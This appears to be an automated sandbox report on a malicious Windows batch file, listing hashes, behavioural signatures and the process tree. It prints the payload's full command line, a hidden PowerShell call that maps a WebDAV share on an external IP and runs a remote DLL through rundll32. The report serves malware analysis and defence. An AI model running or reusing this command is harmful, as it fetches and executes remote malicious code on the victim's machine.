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Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
14/07/2024, 18:51
Static task
static1
Behavioral task
behavioral1
Sample
28410314442699218576.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
28410314442699218576.bat
Resource
win10v2004-20240709-en
General
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Target
28410314442699218576.bat
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Size
2KB
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MD5
9b2b8e0c079b283d40b42a621ec7e4f3
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SHA1
23c6e7d829f977c521171bb3fc8f38fe5e0707e3
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SHA256
52768ed721cd41910dcb85ffe2f4a0b4d4983bbc819cd6983813336682369884
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SHA512
67b554c92b72da3fa5e42acaae005f863a0eb94c29e875f340410ca0b84587a45f6d52bd080df28b51f3b19471b049922dc7aa25fd68e0c0af5ae669994e57ba
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4732 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4732 powershell.exe 4732 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4732 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 3084 wordpad.exe 3084 wordpad.exe 3084 wordpad.exe 3084 wordpad.exe 3084 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2256 wrote to memory of 3084 2256 cmd.exe 84 PID 2256 wrote to memory of 3084 2256 cmd.exe 84 PID 2256 wrote to memory of 4732 2256 cmd.exe 87 PID 2256 wrote to memory of 4732 2256 cmd.exe 87 PID 4732 wrote to memory of 4468 4732 powershell.exe 89 PID 4732 wrote to memory of 4468 4732 powershell.exe 89 PID 4732 wrote to memory of 2912 4732 powershell.exe 90 PID 4732 wrote to memory of 2912 4732 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\28410314442699218576.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:3084
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4215.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:4468
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4215.dll,entry3⤵PID:2912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:1428
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82